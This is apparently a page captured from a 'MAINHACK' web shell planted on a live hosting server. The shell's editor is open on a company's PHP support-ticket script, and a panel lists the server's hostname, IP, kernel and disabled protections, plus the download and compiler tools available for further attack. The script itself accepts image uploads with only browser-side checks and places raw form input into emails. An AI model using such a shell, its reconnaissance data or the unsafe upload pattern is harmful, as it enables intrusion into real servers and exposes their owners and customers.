[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: add_support.php
<?php include 'header.php';?> <div class="main-panel"> <div class="content"> <div class="container-fluid"> <div class="row"> <div class="col-md-12"> <div class="card"> <div class="card-header"> <div class="card-title">Add Ticket</div> </div> <form method="post" id="exampleValidation" data-toggle="validator" enctype="multipart/form-data" > <div class="card-body"> <div class="form-group form-show-validation row"> <label for="name" class="col-lg-1 col-md-2 col-sm-4 mt-sm-2 ">Name <span class="required-label">*</span></label> <div class="col-lg-3 col-md-12 col-sm-12"> <input name="name" class="form-control" value="<?=$_SESSION['login_user']?>" readonly> </div> <label for="name" class="col-lg-1 col-md-3 col-sm-4 mt-sm-2 ">Email <span class="required-label">*</span></label> <div class="col-lg-3 col-md-12 col-sm-12"> <input name="email" class="form-control" value="<?=$_SESSION['username']?>" readonly> </div> <label for="name" class="col-lg-1 col-md-3 col-sm-4 mt-sm-2 ">Phone <span class="required-label">*</span></label> <div class="col-lg-3 col-md-12 col-sm-12"> <input name="phone" class="form-control" required> </div> </div> <div class="form-group form-show-validation row"> <div class="col-md-4"> <label>Help Ticket</label> <select name="topic" class="form-control" required> <option value="">Choose</option> <option value="Technical Support">Technical Support</option> <option value="Sales Support">Sales Support</option> <option value="Renewal Support">Renewal Support</option> </select> </div> <div class="col-md-4"> <label>Domain Name</label> <select name="domain" required class="form-control"> <option value=''>Choose</option> <?php $table1='project'; $stmt=$show->readwithdata($table1,'client_id',$_SESSION['login_id']); $num=$stmt->rowCount(); if($num>0){ while($row=$stmt->fetch(PDO::FETCH_ASSOC)){ ?> <option value="<?=$row['domain']?>"><?=$row['domain']?></option> <?php } } ?> </select> </div> <div class="col-md-4"> <label>Subject <span class="required-label">*</span></label> <input name="subject" class="form-control" placeholder="Subject" required> </div> </div> <div class="form-group form-show-validation row"> <label for="name" class="col-lg-3 col-md-3 col-sm-4 mt-sm-2 ">Description <span class="required-label">*</span></label> <div class="col-lg-12 col-md-12 col-sm-12"> <textarea name="content" class="form-control" rows="10"></textarea> </div> </div> <div class="form-group form-show-validation row"> <label class="col-lg-3 col-md-3 col-sm-4 mt-sm-2 text-right">Upload Image <span class="required-label">*</span></label> <div class="col-lg-4 col-md-9 col-sm-8"> <div class="input-file input-file-image"> <img class="img-upload-preview img-circle" width="100" height="100" src="http://placehold.it/100x100" alt="preview"> <input type="file" class="form-control form-control-file" id="uploadImg" onchange="return fileValidation('uploadImg','200')" name="uploadImg" accept="image/*" > <label for="uploadImg" class=" label-input-file btn btn-icon btn-primary btn-round btn-lg"><i class="la la-file-image-o"></i> Upload a Image</label> </div> </div> </div> <div class="card-action"> <div class="row"> <div class="col-md-12"> <input class="btn btn-success" type="submit" name="sub" value="Submit"> </div> </div> </div> </div> </form> <?php if(isset($_POST['sub'])){ $tick=$show->getid('ids','TID'); if(file_exists($_FILES['uploadImg']['tmp_name']) || is_uploaded_file($_FILES['uploadImg']['tmp_name'])) { $img=$show->imageEdit($_FILES['uploadImg']['name']); move_uploaded_file($_FILES['uploadImg']['tmp_name'],"../product_img/".$img); }else{ $img='';} $data = array( 'client_id' =>$_SESSION['login_id'], 'ticket_id' =>$tick, 'description' =>htmlspecialchars($_POST['content']), 'name' =>htmlspecialchars($_POST['name']), 'email' =>htmlspecialchars($_POST['email']), 'phone' =>htmlspecialchars($_POST['phone']), 'topic' =>htmlspecialchars($_POST['topic']), 'domain' =>htmlspecialchars($_POST['domain']), 'subject' =>htmlspecialchars($_POST['subject']), 'image'=>$img, 'status'=>'OPEN' ); // print_r($data); if($show->insert('support_ticket',$data)){ $my_mail='info@itsweb.in'; //$my_mail='priya.pie27@gmail.com'; $email_subject = "Support Ticket ID:"; $em='<html><head>'; $email_content1=" <html><head> <style> h2{ color:#000; font-size:26px; } #b{ width:500px; font-size:15px; } th{ background-color:#fff; } body, td, input, textarea, select { font-family:'Podkova', serif; margin: 0; } </style> </head> <body> <table style='border: 40px solid #2bae1c;' width='800px'> <tr><td style='text-align:justify;'> <h3>Welcome to Incrementer Technology Solutions Pvt Ltd,</h3></td></tr> <tr><td style='text-align:justify;padding:12px;font-size:18px;'><br>Hi Admin,<br><br> You got a ticket raised with Ticket ID: $tick,<br> Customer Name : ".$_SESSION['login_user']."<br> Customer Phone : ".$_POST['phone']."<br> Customer Email : ".$_SESSION['username']."<br> Issue:".$_POST['content']." <br> <br><br><br><br> Thanks & Regards<br> Incrementer Technology Solutions Pvt Ltd<br> WebSite : https://incrementertech.com<br> Customer Care +91 7980785847<br> Email ID : info@itsweb.in<br> <br> </td></tr> </tr> </table> </body></html>"; $email_content=" <html><head> <style> h2{ color:#000; font-size:26px; } #b{ width:500px; font-size:15px; } th{ background-color:#fff; } body, td, input, textarea, select { font-family:'Podkova', serif; margin: 0; } </style> </head> <body> <table style='border: 40px solid #2bae1c;' width='800px'> <tr><td style='text-align:justify;'> <h3>Welcome to Incrementer Technology Solutions Pvt Ltd, </h3></td></tr> <tr><td style='text-align:justify;padding:12px;font-size:18px;'><br>Hi ".$_SESSION['login_user'].",<br><br> Your Ticket Id is : $tick<br><br> We are looking into the matter. We will contact you soon. <br> <br><br><br><br> Thanks & Regards<br> Incrementer Technology Solutions Pvt Ltd<br> WebSite : https://incrementertech.com<br> Customer Care +91 7980785847<br> Email ID : info@itsweb.in<br> <br> <br> </td></tr> </tr> </table> </body></html>"; $headers = 'MIME-Version: 1.0' . "\r\n"; $headers .= 'Content-type: text/html; charset=iso-8859-1' . "\r\n"; if(@mail($my_mail,$email_subject,$email_content1,$headers) && @mail($_SESSION['username'],$email_subject,$email_content,$headers)) { // echo "<script>alert('Message sent!')</script>"; } else { // echo "<script>alert('Message not sent!')</script>"; } echo '<script> setTimeout(function() { swal({ title: "Thank You !", text: "Your Ticket post has been submitted. We will contact you soon.", type: "success" }, function() { window.location = "'.$_SERVER['REQUEST_URI'].'"; }); }, 1000); </script>'; //echo "<script>swal('Thank you for Registration.');window.location.href='".$_SERVER['request_uri']."';</script>"; } } ?> </div> </div> </div> </div> </div> <?php include 'footer.php'; ?>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server05.hostinghome.co.in
Server IP: 192.168.74.40
PHP Version: 7.4.33
Server Software: Apache
System: Linux server05.hostinghome.co.in 3.10.0-962.3.2.lve1.5.81.el7.x86_64 #1 SMP Wed May 31 10:36:47 UTC 2023 x86_64
HDD Total: 1.95 TB
HDD Free: 677.74 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Disabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: itsweb
User ID (UID): 1619
Group ID (GID): 1621
Script Owner UID: 1619
Current Dir Owner: 1619